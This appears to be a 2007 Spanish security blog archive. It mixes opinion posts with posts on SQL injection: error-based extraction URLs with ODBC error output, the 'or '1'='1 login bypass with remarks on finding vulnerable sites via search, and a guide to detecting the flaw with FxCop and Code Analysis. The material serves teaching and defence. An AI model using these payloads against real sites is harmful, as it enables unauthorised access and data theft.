En estos primeros documentos la extracción de información se hacía utilizando la visualización de los mensajes de error de los conectores ODBC, aún quedaba un año para que salieran a la luz pública las técnicas Blind.

Para ello, el objetivo es generar una inyección que provoque un error y leer en el mensaje de error datos con información sensible. Ejemplo:

Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)

El atributo name de la table sysusers en SQL Server es alfanumerico y al realizar la comparación con un valor numérico se generará un error. Si el programador no tiene controlados esos errores nos llegará a la pantalla un mensaje como el siguiente:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'sys' to data type int.
/Programa.asp, line 8


Y se obtiene el primer valor buscado. Después se vuelve a inyectar pero ahora se cambia la consulta de la siguiente forma, o similar:

Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’sys’ order by 1 desc)

Y se obtiene:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Conversion failed when converting the nvarchar value 'public' to data type int.
/Programa.asp, line 8


Siguiente iteración:

Programa.asp?id=218 and 1=(select top 1 name from sysusers where name<’public’ order by 1 desc)

… y se automatiza la extracción de toda la información de la base de datos. Para ello hay herramientas que analizan estos mensajes de error y lo automatizan de forma eficiente. Priamos es una de estas herramientas.


Los Errores e IE7

Los errores de las aplicaciones web en Internet Explorer, desde la versión 5, se sustituyeron por errores más amigables. Se supone que un usuario no avanzado si se encuentra un error en un aplicación web no va a entender que ha pasado, así que se muestra una página con una pequeña explicación. En IE7 la página en cuestión tiene esta forma:


Arriba a la derecha se puede ver el código http que ha recibido el cliente. ¿Cuándo se muestra esta página y como quitarla? En la ruta del registro de tu máquina: HKEY_LOCAL_MACHINE / SOFTWARE / Microsoft / Internet Explorer / MAIN / ErrorThresholds se configura, para cada código de respuesta de Error el número de bytes recibidos en una respuesta a partir del cual se debe mostrar el resultado recibido o por el contrario un error amigable.


Es decir, en la imagen de la captura, para el código 500 está puesto 200 en Hex, es decir 512 bytes. Si se reciben menos de 512 bytes se muestra el error amigable, de lo contrario, se muestran los datos recibidos. Si desesas deshabilitar los errores amigables, basta con configurar esos valores a 0.

Bies malignos!

PD: Os he contado esto porque ayer mismo SirW2p, Pedro Laguna, Silverhack, Kanovas y yo estuvimos pegandonos con esto.

jueves, julio 19, 2007

SQL Injection Level 1

Hace mucho tiempo, cuando empezamos con esto de los ordenadores a trabajar en el mundo de la informática la primera impresión fue un poco desilusionante y creamos una serie de leyes que nos han guiado para no acabar cayendo en manos de los vendedores de humo:

1.- Todo es mentira.
2.- Las cosas funcionan de casualidad.
3.- El mundo es un gran trapi.


Así que, tras estar reunidos con alguien que nos contaba lo que podríamos hacer en el futuro, lo que iba a ser, la oportunidad de, etc... Siempre decíamos esto es humo. Nada de futuribles, presente y actual. Nos funcionó bien. Hoy toca hablar de "Las cosas funcionan de casualidad".

En el mundo del desarrollo de las aplicaciones web hay algo que no deja de sorprenderme y es el impacto que aún tiene la sentencia mágica. ¿cual es esa sentencia mágica?.

Pues algo tan sencillo como esto:

'or '1'='1

Es tan graciosa y popular, que para unas conferencias sobre seguridad en aplicaciones web me regalaron una camiseta.

Camisetas

Supongo que la mayoría ya sabéis que es esto, pero para los que no os hago una versión reducida de la explicación. La idea es que el programador pide en un formulario en la página de login algo como esto:


Y luego crea una consulta SQL a la base de datos similar a esta:

Select id
from tabla_usuarios
where usuario='$usuario' and pass='$pass';


Si la consulta está mal construida, es decir, concatenadita, entonces la consulta mágica metida en el usuario o la pass o en ambos sitios hace que te cueles con el primer usuario.

Select id
from tabla_usuarios
where usuario='admin' and pass=''or '1'='1';


Vale, si alguien se come esto, es lo que nosotros llamamos:

"Acabo de hacer mi curso de informático IBM por fascículos semanales y ya soy programador de aplicaciones de comercio electrónico"

¿Cual es la broma macabra de esto? Pues que sigue funcionando. Basta coger una página web y buscar la zona de administración, que siguen estando en los mismos sitios (/admin/, /privado, /gestion, ...) y probar. Coger el google y buscar programas que se llamen login.asp, login.php, privado.asp, privado.jsp, admin.php, .... y llevar en el cortapapeles la cadena mágica, sale la web, le cascas la cadena mágina y en unos 15 minutos tienes 5 o 6 sitios vulnerables.

Por favor, si tienes una zona privada, prueba la cadena mágica. Sólo como pequeño test de intrusión, y si te funciona, tira del cable de tu servidor, que tu sitio está para rehacerlo.

miércoles, julio 18, 2007

¿Arte o Ingeniería?

Desarrollar un software parece eminentemente un proceso de ingeniería del que se han creado metodologías que van desde cómo realizar la tomar de requisitos hasta cómo gestionar la fase de pruebas. Esto es algo que todos asumimos aunque luego, dentro de los procesos de ingeniería, tenemos el arte; aquellas ideas felices que marcan la diferencia en los rendimientos de los algoritmos o por lo sencillo de la solución, entre lo que es bueno y lo que es superior. Me gustan especialmente los juegos que plantea el chico maravillas en el blog de Programancia101 [Me tuvo una noche ordenando un millón de números de teléfono de 7 cifras en 2 Megas de memoria sin acceso a disco.]

Pero, cuando se hace una auditoría de caja negra, para buscar los fallos de una determinada aplicación web, ¿podemos hablar de ingeniería o necesitamos un artistita? Parece evidente que tenemos que aplicar técnicas de Ingeniería Inversa y ya solo por el nombre nos lleva a inducir que es una disciplina automatizable, reproducible, auditable, etc… Pero sin embargo no deja de tener sus vertientes más oscuras. En el caso de una auditoría de caja negra, es decir, de buscarle los fallos al sistema sin conocer ninguna información más que la pública, tienes que estar siguiendo los pasos de un desarrollador que ha escrito un código. ¿Y cómo lo habrá escrito? ¿Qué mecanismo mental ha llevado al programador a tomar una decisión u otra a la hora de procesar unos parámetros? ¿Habrá seguido algún proceso de ingeniería conocido para desarrollar el código?

En los equipos de desarrollo colaborativo, dónde cada desarrollador envía versiones de su parte de trabajo, los jefes de proyecto pueden establecer la política de validación de la versión que se sube, de tal manera que se implanta una metodología de desarrollo… O al menos unas normas que cumplir cuando se sube un código.

Sin embargo, en las aplicaciones web, esto parece un poco más anárquico y pocos son las empresas que tratan con procedimientos y metodologías de desarrollo la creación de los portales corporativos. No me refiero a los CMS profesionales sino a las aplicacones desarrollados por la propia compañía usando los entornos Web.

En el primer entorno las técnicas de ingeniería inversa a la hora de realizar una auditoría de caja negra parecen más fáciles de implantar ya que es posible seguir una metodología para descubrir la metodología (valga la redundancia) de desarrollo.

En el segundo entorno, en el que el desarrollo parece más anárquico, la generación de una metodología automatizada de búsqueda de vulnerabilidades parece un proceso más costoso y tal vez sea necesaria la labor de un auditor más “artista” y menos “ingeniero”.

Mi opinión al respecto es que para hacer una auditoría de caja negra a una aplicación web, hoy en día, tiene más peso la parte de proceso que la parte de arte y que se debe tender a automatizar la búsqueda de todos los fallos. Para eso están los escáneres de vulnerabilidades creados. Aplicaciones como Acunetix Web Vulnerability Scanner o WebInspect están pensadas para auditar Webs. Es cierto, que ajustarlos es un proceso, a veces, tan costoso como hacerlo a mano, pero aunque lo hagas a mano, tienes un método creado para buscar “los fallos” e implementar una metodología siguiendo los procesos de OWASP (Open Web Application Security Project), por ejemplo. Eso sí, siempre nos quedará esa parte de arte, que al igual que en la ingeniería del software pone esa gente a la que le preguntas "¿Cómo se te ha ocurrido eso?" Y simplemente dice: “no sé, pensé que tal vez funcionaría”.

¿Tú qué opinas? ¿Arte o Ingeniería?

martes, julio 17, 2007

Precisamente Vosotros

Cuando leo los argumentos en contra de la estandarización de OOXML no dejo de sorprenderme. Ayer un “intelectual” anónimo me decía lo siguiente en un comentario:

“No hay dos estándares de IPv4, todos usan el mismo. ¿Por qué habría de aprobarse OOXML estando aprobado ya ODF?”

Pero… tú eres un esquimal ¿no? No, no tengo nada en contra de los esquimales, pero creo que tú has tocado menos ordenadores que ellos, ¿cierto?

Hay un conjunto de gente que se autoproclama Defensor del Software Libre, que por el bien del mundo, miente, difama, inventa y da mala imagen a los autenticos Defensores del Software Libre. Es para Vosotros esta Post.

Precisamente vosotros, que os proclamais Defensores del Software Libre, de apropiaros una palabra tan bonita como Libertad, que dividió a los informáticos en buenos y malos no por lo significaba vuestra corriente sino por las connotaciones de esa palabra en el lenguaje.

Precisamente vosotros, que defendéis a capa y espada la teoría del Bazar, los entornos heterogéneos, la interoperatibilidad de sistemas, que existan Gnome, Beryl, Kde, y 20 entornos gráficos y haya que programar para diferentes versiones, que existan JPEG, TIFF, PNG y BMP cuantos más formatos mejor, de que hay n distros, de cada comunidad autónoma, ciudad, pueblinex (la de mi pueblo), cuartinex (la de mi cuarto) y cataplinex (sólo para tocar los huevos).

Precisamente vosotros, que habláis de libertad, os negáis a que Spectra deje de controlar un formato, porqué sabéis que sí, cuando algo se convierte en un estándar, como lo es ahora OOXML con ECMA, su evolución está controlada por el comité y no por Spectra.

Precisamente vosotros ahora, os negáis a que se estandarice OOXML.

Precisamente vosotros que tanto os fastidió la campaña "get the facts" por considerarla injusta, difamatoria y de malas artes, caéis tan bajo con la campaña BadVista, que hasta el nombre es de vergüenza.

Precisamente vosotros que inventasteis la palabra FUD, no hacéis más que inventar bulos como que Spectra saca datos personales de los ordenadores y los envía a Redmon o el famoso bulo del DRM de Windows Vista que “no permitía ver películas piratas”.

Pedisteis que Spectra liberara el XML de Office y lo hizo, pedisteis que se usaran estándares y se hace, pedisteis la interoperatibilidad de Sistemas y Spectra saca R2 interoperatible con *NIX, con Interix de base cumpliendo POSIX, con servicios NIS y NFS. Pedisteis que se pudiera ser compatible con OpenOffice y Spectra saca las herramientas gratuitas para pasar de ODF a OOXML y viceversa.

Pedisteis que Spectra garantizara que de los estándares que había creado no cobrara royalties e hizo la Open Promise públicamente.

Pedisteis, por confiabilidad, que se tuviera acceso al código fuente y los gobiernos tienen acceso al 100 % del código.

Pedisteis neutralidad tecnológica y cuando la tuvisteis exigisteis discriminación positiva.

Siempre he oído, desde vosotros, que vuestro modelo es mejor. Adelante, sacarle provecho, hacer mejor software, de mejor calidad, con mejor servicio a los usuarios, arrasad a la competencia con calidad, como hicieron y hacen las empresas de tecnología, con buen hacer, con grandes herramientas y grandes progresos. Sacad una base de datos mejor que Oracle, unos servicios de análisis de negocio mejor que los de Business Object, un mejor gestor documental que Documentum o un mejor desktop que Vista.

Sé como tu compañero, programa, desarrolla, crea, colabora en Apache, en OSSIM, en el kernel de Linux o en Gnome. Escribe un manual sobre IPSec, que el que hay es muy pobre. Documenta, enseña, comparte, escribe.... Haz que avance la sociedad, haz que avance la tecnología, haz ALGO, pero no digas mentiras ni cosas que no sabes. Porque lo peor de todo, es que precisamente esos que hablan son los que menos hacen y manchan el buen trabajo de los que SÍ que hacen cosas.

Saludos Malignos!

lunes, julio 16, 2007

La era de Apocalipsis

Todos los aficionados al mundo del comic habrán tenido en sus manos algunas de las historias de la era de Apocalipsis. Esta macro-saga mutante se construía a partir de un viaje al pasado por parte de Legión, el hijo de Charles F. Xavier, mentor y creador de los X-Men, en el que intentaba matar a Magneto. Por desgracia la víctima fue Xavier. Este hecho en el pasado cambiaba la línea temporal y llevaba a la humanidad a un futuro Apocalíptico, nunca mejor dicho, dónde el sueño de Xavier de que humanos y mutantes vivieran en paz no se cumple. En ese futuro gobierna “la supervivencia del más apto” y se desencadena una guerra entre mutantes y humanos. En esa guerra el mutante supremo, llamado Apocalipsis, tiene cuatro jinetes que se encargan de las “Cosechas de humanos”. ¿Qué son estas cosechas? Pues consiste en detectar humanos y descomponerlos en proteínas y genes para que el científico loco de esta Era, Hank “la Bestia” Mckoy, cree a partir de ellos a los guerreros de apocalipsis.


¿Y a que viene toda esta parrafada en el lado del mal? Pues, en primer lugar a que es verano y hay más tiempo para leer, con lo cual os hago las anti-recomendaciones literarias, y en segundo lugar a que parece imposible poner cualquier sistema en Internet sin usar un Human Detector. Tuvimos un debate sobre esto cuando hablábamos de el sistema de votación de menéamela, pero quizás dónde más está afectando todo esto es en los blogs. Blogger parece tener un buen sistema de detección de “comentarios spam” pero aun así se cuelan algunos. No obstante los blogs son sistemas gestionados que al final son limpiados por los propios administradores.

Al final un enlace a una web es un enlace, y cuenta en los buscadores, en los ratios de las webs, etc… Es decir, los enlaces acaban siendo visitas y las visitas acaban siendo dinero para los servicios. El malware y el porno parecen los sistemas que más buscan usar estas técnicas para redirigir tráfico hacia los servidores apropiados.
Lo que me llama la atención es ver como buscan nuevos lugares donde situar esos enlaces. Páginas de anuncios, sistemas de contactos, etc…

El último sitio que me he topado y que creo que estaban probando para empezar a atacarlo masivamente ha sido en bugzilla. Allí, revisando el código de un bug sobre un tema muy interesante que tiene por nombre “null pointer dereference” aparecen, a partir del 5 comentario como unas 20 entradas que recomiendan porno y que en los attachments introducen links.

http://bugzilla.kernel.org/show_bug.cgi?id=8134

Al principio pensé, “vaya, los informáticos somos unos perdidos”, luego me di cuenta de que el comentario número 5 es el típico que se hace en pruebas con un teclado qwerty, el famoso “asdf” y a partir de él, la prueba de automatización. Esto no invalida la frase primera de que los informáticos somos unos perdidos.

He buscado en otros expedientes de bugs y no los he encontrado pero parece que va a ser el comienzo de otra nueva avalancha. Al final, va a ser imposible poner ningún sistema en Internet que genere enlaces persistentes sin usar human detectors.

La próxima generación de spam en la web estará formada por un crawler, que detectará sistemas de registro, que se creará su cuenta, que generará su blog, que automáticamente posterá, o que se creará su cuenta para anuncios y que generará automáticamente sus mensajes. Es decir, los sistemas de registro dejarán de ser un problema para los generadores de spam-links si no tienen human detectors robustos y cada vez será más dificil encontrar las cosas. ¿Será esa la web 3.11 para trabajo en grupo?

¡La era Spamlinks está aquí. Elige bando, humano o mutante!

**********************************************************************

PD: Si te ha picado el gusanillo de leer la "Era de Apocalipsis" puedes ver el time-line completo en la Wikipedia [http://en.wikipedia.org/wiki/Age_of_Apocalypse] y en español se recopiló todo en 12 tomos. 10 años después salió un tomo homenaje llamado "Retorno a la Era de Apocalipsis".

**********************************************************************

domingo, julio 15, 2007

Yo ya estoy listo!

- Niño, deja de jugar que así nunca serás nada en la vida!

¡Cuantas madres se han equivocado con esta frase! El mercado del videojuego es un mundo en expansión con un montón de profesionales de los trucos, los pokes, la superación de niveles, o simplemente de dar su opinión sobre los juegos. En Spectra hay un MVP de XBOX que se lo pasa poco mal el pájaro. ¡Eso es ser un MVP coño! En Hispasec, conozco a otro pájaro que se dedica a probar games.

Hace poco la industria de los juegos nos ha "robado" una amiga/colega/compañera/diabla para reclamar sus servicios. La verdad es que era de prever que alguien tan currante acabara marchándose. El caso es que esta señorita, como una de sus primeras misiones de trabajo en la industria, ha tenido que ir al "decandente" Los Angeles y estar con toda la panda de "desechos" en el E3. Allí estaba todo lo peor de lo pero y entre lo que había me ha traido esta fotito de la presentación del "Guitar Hero III". Joder que envidia de curro.

Slash

Creo que en la nueva versión me lo voy a flipar más que nunca. Aquí estoy yo, listo para jugar al Guitar Hero.


Así, que ya sabes, mientras puedes ir practicando con otros games para ser una ¡Estrella del Rock!

Rock!

sábado, julio 14, 2007

"Hablar de Libertad y no dar libertad de elección es Hipocresía"

Desde que salió la GPLv3 Linus Torvarlds nunca ha escondido su disgusto con ella. En un reciente mail enviado a la lista de distribución del kernel, y ya un poco enfadado por las "recriminaciones morales" se defiende en uno de sus mails míticos.

En él se defiende frente a las acusaciones que le han estado realizando desde los seguidores de FSF, en muchos casos, utilizando el argumento de la moralidad.

Linus contesta en esta carta. La carta es más larga, yo he cortado [ya sabes, con malignidad y el único objetivo de engañar a todo el mundo] los parrafos que más me han llamado la atención y los he traducido a vuelapluma y con mi pobre inglés, así que como dicen los ingleses "Right to the source not to the horse". La carta está aquí: http://lkml.org/lkml/2007/6/20/223 y te recomiendo que la leas antes. Despues puedes leer noticias sobre ella:

Linux Creator Calls GPLv3 Authors 'Hypocrites' As Open Source Debate Turns Nasty

El mail de Torvalds (seccionado y mal traducido)

I don't disagree that "morals" are something very personal, and you can thus never really argue on morals *except*for*your*own*behaviour*.

Así, a vuelapluma, dice que no le disgusta que la moral sea algo muy personal y que por tanto nadie puede argumentar sobre morales excepto para tus propios actos.

I claim that for *me* the right choice is GPLv2 (or something similar).

Reclamo que para mi el derecho de elección es la GPLv2 (o algo similar).

I think the GPLv3 is overreaching.

Creo que la GPLv3 se pasa (abarca más de lo que debe)

Laws (like copyright law) and legal issues[...] are fundamentally *not* about "personal" things, they are about interactions that are *not* personal. So laws need to be fundamnetally different from morals. A law has to take into account that different people have different moral background, and a law has to be _pragmatic_.

La leyes (como la ley de copyright) y los temas legales no tratan sobre coas personales, tratan sobre interacciones que no son personales. Así que las leyes deben estar separadas de la moral. Una ley tiene que tener en cuenta gente de diferente moralidad, y tiene que ser pragmatica.

The GPLv2 is a *legal* license. It's not a "moral license" or a "spiritual guide".

La GPLv2 es una licencia legal. No es una "licencia moral" o una "guía espiritual".

[...] a person *choice* to use the GPLv2 is his private choice.

La elección de una persona de usar la GPLv2 es una elección privada.

You don't have to agree with it - but exactly because it's his private choice, it's a place where the persons moral rules matter[...]

Tu no tienes que estar de acuerdo con esto, justamente porque es una elección privada, es un lugar donde importa la moral de cada persona.

Only religious fanatics and totalitarian states equate "morality" with "legality".

Sólo fanáticos religiosos y estados totalitarios iguala moral con legalidad.

A German soldier who refused to follow orders was clearly the more "moral" one, wouldn't you say? Never mind law. Gandhi is famous for his peaceful civil disobedience - was that "immoral" or "illegal"? Or Robin Hood. A romantic tale, but one where the big fundamnetal part of the picture is the _difference_ between morality and legality.

El soldado alemán que se negó a seguir las ordenes fue el más "moral", ¿no dirías tú eso? Nunca le importó la ley. Gandhi es famososo por su desobediencia civil pacifica - ¿eso fue "inmoral" o "ilegal"? O Robin Hood. Una historia romantica, pero una donde la parte fundamental de la foto es la diferencia entre moralidad y legalidad.

Yes, there is obviously overlap, in that a lot of laws are there to protect things that people also consider "moral". But the fact that there is correlation should *not* cause anybody to think that they are at all about the same thing.

Sí, obviamente hay una superposición, en las que montones de leyes están allí para proteger cosas que la gente también considera "moral". Pero el hecho de que exista esa correlación no debe hacer pensar a nadie que todas son así.

I don't think it's hypocritical to prefer the GPLv3. That's a fine choice, it's just not *mine*.

No creo que sea hipocresía preferir la GPLv3. Esa es un buena elección, solo que no es la mia.

What I called hypocritical was to do so in the name of "freedom", while you're at the same time trying to argue that I don't have the "freedom" to make my own choice.

A lo que yo llamé hipocresía fue a hacer algo en el nombre de la "libertad", mientras, al mismo tiempo, argumentas que yo no tengo la "libertad" de hacer mi propia elección.

See? THAT is hypocritical.

¿Ves? Eso es hipocresía.

A partir de aquí, saca tus propias conclusiones...

viernes, julio 13, 2007

Como evitar SQL Injection (& Blind SQL Injection) en .NET. Code Analysis y FXCop

Blind SQL Injection es una forma de explotación de las vulnerabilidades SQL Injection, luego evitando problemas de SQL Injection se acabó el problema. Evidente ¿no?. Para evitar vulnerabilidades de SQL Injection se deben usar consultas pre-compiladas, realizar filtrado de parámetros robusto, etc... Todos los manuales de seguridad para todos los lenguajes tienen un capítulo para ayudar a los desarrolladores a evitar SQL Injection en ese lenguaje. En .NET la recomendación es utilizar consultas parametrizadas que evitan completamente la inyección de comandos.

Hoy no es sobre recomendaciones de desarrollo de lo que quería hablar, sino de un par de herramientas de Análisis Estático de Código para evitar las inyecciones SQL. Estas herramientas permiten buscar errores de desarrollo en el código fuente de las aplicaciones .NET. Lógicamente buscan los fallos en la creación de consultas que generan bugs de SQL Injection, pero también miran fallos de compatibilidad de código para versiones antiguas, o si se ha hardcodeado código, o si se ha utilizado o no la ofuscación de punteros, etc… Estas herramientas no te hacen mejor programador, pero te ayudan a detectar los fallos.

FXCop & Code Analysis

FXCop es una herramienta gratuita que se puede descargar desde la siguiente URL: http://www.gotdotnet.com/Team/FxCop/, mientras que Code Analysis es una herramienta que sirve para el mismo fin, pero viene integrada dentro de Visual Studio Team System. Cuando realizan un análisis evalúan más de 150 tipos distintos de posibles fallos que están catalogados en las siguientes categorías: Reglas de Diseño, Globalización, Interoperatibilidad, Movilidad, Mantenibilidad, Nombrado, Rendimiento, Portabilidad, Confiabilidad, Seguridad y Usabilidad.


Categorías de Reglas en FxCop

En cada una de estas secciones podremos marcar las reglas que queramos comprobar para que se efectúe el análisis según estas reglas. Por defecto están todas marcadas, pero puede ser necesario desactivar algunas comprobaciones que no son necesarios en nuestro proyecto o que, aunque no sean una recomendación correcta, debemos realizar en contra de las recomendaciones del aplicativo.

Ejemplo de Análisis con FxCop

En este ejemplo he cogido una dll de las que se encuentran en mi sistema instalada por uno de esos programas que te descargas por Internet y la he importado. El siguiente paso es dar al botón de Analizar y leer resultados. Tras analizarla, FxCop detecta posibles fallos en la aplicación. Cada uno de los fallos es marcado con un ratio de certeza que indica la posibilidad o no de que sea un Falso Positivo y con un nivel de criticidad. Además el programa nos da la información necesaria sobre dicho posible defecto. A partir de ahí es labor del programador comprobar si realmente es o no un fallo.

Análisis con FxCop

Con estas ayudas el programador debe ser capaz de investigar y encontrar el posible agujero de seguridad. No son perfectas, no van a encontar todos los bugs, pero seguro que aumentan la seguridad del código y la destreza del programador.

Ejemplo con SQL Injection & Code Analysis

Vamos a ver cómo funciona la regla de seguridad que busca fallos que permitan ataques del tipo SQL Injection, en este caso, usando Code Analysis de Team System:

Código .NET vulnerable

En rojo una sentencia vulnerable XXL. Es decir, si has hecho alguna sentencia así, concatenando tan alegremente, tu código tiene un buen agujero de seguridad.. En verde una sentencia SQL Parametrizada que no es vulnerable ya que está pre-compilada y validada por el sistema.

El siguiente paso es activar el análisis de código estático en VS Team System. En las propiedades del proyecto habilitamos en la sección Code Analysis la casilla “Enable Code Analysis”. Además marcamos la regla “CA2100:Review sql queries for security vulnerabilities” para que cuando se encuentre una sentencia vulnerable nos de un ERROR en lugar de un WARNING.

Selección de reglas en Code Analysis

Acto seguido compilamos el proyecto. Justo antes de realizar la compilación ejecutará el análisis de código, de forma que si encuentra alguna sentencia vulnerable nos dará un ERROR. Como se ve en la siguiente imagen sólo aparece el error en la primera consulta SQL, ya que es la única que es vulnerable. La segunda consulta, que ha sido parametrizada, no produce error, ya que al insertar el dato que proviene del usuario dentro de un parámetro, no va a poder ejecutar el código “malicioso” que pudiera contener.

Mensaje de Error de Code Analysis

La pregunta es, ¿por qué sigue habiendo tantos fallos de Inyecciones SQL? Las herramientas no son perfectas pero sí que ayudan.

Aquí tenéis una lista de productos que realizan Análisis de Código Estático en otros lenguajes: List of tools for static code analysis

Saludos!

jueves, julio 12, 2007

It´s a Kind of Magic

Llevo tiempo escuchando hablar del Iphone y la verdad, lo confieso, no le he hecho ni puto caso. Yo de los teléfonos paso bastante, tengo mi tercer Smartphone (después de haber condenado los dos anteriores a muerte por caida libre repetititva) y me mola eso de chatear con el Messenger, el direct push del correo con Active Sync y Exchange, recibir ahora toda la agenda actualizada, etc… pero no escucho mp3 porque se me funde antes la pila del móvil y tampoco me gustan los que se manejan con el dedazo, pues a pesar de que Steve Jobs dijera que el dedo es el más revolucionario puntero, estoy convencido de que no hablaba del mío.

Los últimos teléfonos que me han dado los he usado para cosas normales, (si chatear y navegar por Internet también lo tomamos como normal. Pensando en qué más puedo hacer con ellos se me ocurren mogollón de acciones, pero no las hecho. Poner el tom tom, usarlo como pasador de slides con el Bluetooth (esto sí, que me lo configuró el Cervi) o llevar la lista de comics...

El caso es que, venciendo la pereza inicial, me he ido a informar sobre el dichoso Iphone. Lo que más llama la atención es su diseño. Lo ves todo bonito y tan negrito ("todos quieren ser el señor negro"): ¡Qué chulo! ¿no? Lo segundo que he pensado es “¿Cuantas caídas resistirá?” Ya he dicho que todos mis móviles han tocado lona. (¡qué le vamos a hacer!).

Por último me he ido a informar a ver que dicen de él en temas de seguridad y he visto que ya lo habían craqueado un par de veces, una para tener una Shell y otra para conseguir activarlo sin pasar por AT&T. Aún nada en remoto, habrá que ver que pasa con los drivers de las wifi y las conexiones bluetooth (...a ver que pasa Gospel...). Parece que ya tiene muchos amantes y detractores este cacharrejo.

El caso es que lo que Apple dice de él es divertido porque denota a quien se lo va a vender:

"El iPhone es un revolucionario y mágico producto que está literalmente cinco años por delante de cualquier otro teléfono móvil", dice Steve Jobs, presidente de Apple. "Todos hemos nacido con el más avanzado dispositivo puntero -nuestros dedos- y el iPhone los utiliza para crear la interfaz de usuario más revolucionaria desde el ratón"

Es mágico, no es más rápido, más seguro, más potente, etc… Es Directamente Mágico. Me encanta. Me recuerda a la peli de los hermanos Grimm y las habichuelas mágicas. Mirando eso de que “está cinco años por delante de cualquier otro dispositivo móvil” (mira que 5 años son muchos años en tecnología…) me acordé de un video que poníamos en la gira de final del año pasado (en la que veíamos los problemas de la telefonía de voz sobre ip) para ilustrar a donde llegarán las comunicaciones. Os lo dejo. No sé si estas funciones las trae el Iphone o no, pero son graciosas.



Si eres un cool, yo creo que este es tu dispositvo, ahora bien, si lo tienes que gestionar en tu empresa con políticas de seguridad, actulizaciones, gestión de programas, etc.. tal vez no sea tu cacharrín.

Saludos!

miércoles, julio 11, 2007

Webeater

Recuerdo no hace demasiado el famoso dibujo de las Software Wars en el que se representaba al Imperio de Spectra luchando contra todos. Ese gráfico tiene muchas cosas que han cambiado en el panorama actual, cambio de productos, de logos y de contrincantes.


Como se puede apreciar en el plano de guerra, Ubuntu tiene una presencia pequeña y Google es un contrincante más allá en la esquina. Hoy en día Google no merecería un papel tan pequeño si se quiere reflejar la autentica realidad. Es un monstruo en la web. El nombre que le hemos puesto a Google es el de Webeater. Hace no demasiado me dediqué a recopilar algunas de las empresas que había comprado Spectra para fortalecer su línea de productos. Google ha estado realizando lo mismo de forma continuada los últimos dos años. En su caso, Google ha comprado empresas de diseño flash que luego utilizó en las estadísticas de Google Analytics, la famosa compra de Youtube (Google no la compró porque tuviera un montón de videos graciosos), Feedburner, etc…

La lista de anuncios de empresas compradas crece continuamente. Antes de ayer hubo otra, en este caso la empresa Postini. Esta compra es significativa, pues es la compra de una empresa de seguridad.

Google ha sido el centro de atención recientemente con varios fallos de seguridad [Google security vulnerabilties stack up], con la “amenaza” del hacker en Youtube que acabó en "amor" y salió también, cómo no, en el Mes de los Fallos de los Motores de Búsqueda (un mes con este nombre y sin Google hubiera sido un chiste).

Además de los fallos de seguridad típicos al uso, Google, al igual que todos los buscadores, se encuentra en el centro de la polémica que existe en Europa sobre si los buscadores vulneran o no las diferentes regulaciones de protección de la intimidad y los datos personales. Hay que tener en cuenta que los buscadores necesitan retroalimentarse de las acciones de los usuarios para aprender y afinar los resultados, lo que conlleva que almacenen información sobre hábitos y tendencias. No es sólo Google el que está afectado por esta polémica, sino todos los buscadores.

Parece claro que es necesario fortificarse en esta guerra en la que Google se está situando, por meritos propios, en el centro de la batalla. La empresa Postini que Google ha comprado no sólo oferta herramientas de seguridad y protección sino también de cumplimiento de legislaciones, lo cual puede ayudar perfectamente a la linea de productos de Google para cumplir la legalidad en los diferentes países.

Parece que Google se arma para una guerra ahora que está empezando a perder un poquito, solo un poquitido, de ese famoso “Cool factor”. ¿no creeis?

martes, julio 10, 2007

Mes de los Fallos de los motores de búsqueda

El mes de Junio era uno de los que quedaba libre dentro del calendario del horóscopo que habíamos creado con los meses temáticos. Ya no es así. Éste ha sido bautizado como el “Mes de los Fallos de los Motores de Búsqueda” [Month of Search Engine Bugs (MOSEB)] y durante 30 días se han ido publicando fallos de motores de búsqueda.

En el proyecto se han utilizado 33 motores de búsqueda y durante este mes se han publicado 104 vulnerabilidadades (según el recuento del autor). Los motores utilizados han sido: Meta, Yahoo, HotBot, Gigablast, MSN, Clusty, Yandex, Yandex.Server (local engine), Search Europe, Rambler, Ask.com, Ezilon, AltaVista, AltaVista local (local engine), MetaCrawler, Mamma, Google, Google Custom Search Engine (local engine), My Way, Lycos, Aport, Netscape Search, WebCrawler, Dogpile, AOL Search, My Search, My Web Search, LookSmart, DMOZ (Open Directory Project), InfoSpace, Euroseek, Kelkoo y Excite.

La lista de los expedientes publicados es la siguiente:

- MOSEB-30 Bonus: Redirectors #2
- MOSEB-30: Redirectors #1
- MOSEB-29 Bonus: Vulnerabilities in Excite White Pages
- MOSEB-29: Vulnerabilitiy at money.excite.com
- MOSEB-28 Bonus: Vulnerability at shopping.yahoo.com
- MOSEB-28: Vulnerabilities in Kelkoo
- MOSEB-27: Vulnerability at euroseek.com
- MOSEB-26 Bonus: Vulnerability at ypng.infospace.com
- MOSEB-26: Vulnerabilities at www.infospace.com
- MOSEB-25 Bonus: Vulnerability at search.dmoz.org
- MOSEB-25: Vulnerabilities at dmoz.org
- MOSEB-24: Vulnerability at search.looksmart.com
- MOSEB-23 Bonus: Vulnerabilities at search.mywebsearch.com
- MOSEB-23: Vulnerabilities at www.mysearch.com
- MOSEB-22 Bonus: Vulnerabilities in AOL Search
- MOSEB-22: Vulnerability at search.aol.com
- MOSEB-21: Vulnerabilities at www.dogpile.com
- MOSEB-20 Bonus: Google dorks strikes back
- MOSEB-20: Vulnerabilities at webcrawler.com
- MOSEB-19 Bonus: Vulnerabilities at search.netscape.com
- MOSEB-19: Persistent XSS at search.netscape.com
- MOSEB-18: Vulnerability at aport.ru
- MOSEB-17 Bonus: Vulnerability at www.lycos.com
- MOSEB-17: Vulnerability at search.lycos.com
- MOSEB-16: Vulnerabilities at search.myway.com
- MOSEB-15 Bonus: Vulnerability in Google Custom Search Engine
- MOSEB-15: Vulnerabilities at images.google.com
- MOSEB-14: Vulnerabilities at www.mamma.com
- MOSEB-13: Vulnerabilities at metacrawler.com
- MOSEB-12 Bonus: Vulnerability in AltaVista
- MOSEB-12: Vulnerabilities at www.altavista.com
- MOSEB-11: Vulnerability at www.ezilon.com
- MOSEB-10 Bonus: Vulnerabilities at www.ask.com
- MOSEB-10: Vulnerabilities at www.ask.com
- MOSEB-09 Bonus: Vulnerabilities at ftpsearch.rambler.ru
- MOSEB-09: Vulnerabilities at Rambler
- MOSEB-08: Vulnerability at searcheurope.com
- MOSEB-07 Bonus: Vulnerabilities in Yandex.Server
- MOSEB-07: Vulnerability at blogs.yandex.ru
- MOSEB-06: Vulnerabilities at clusty.com
- MOSEB-05 Bonus: Vulnerabilities at autos.msn.com
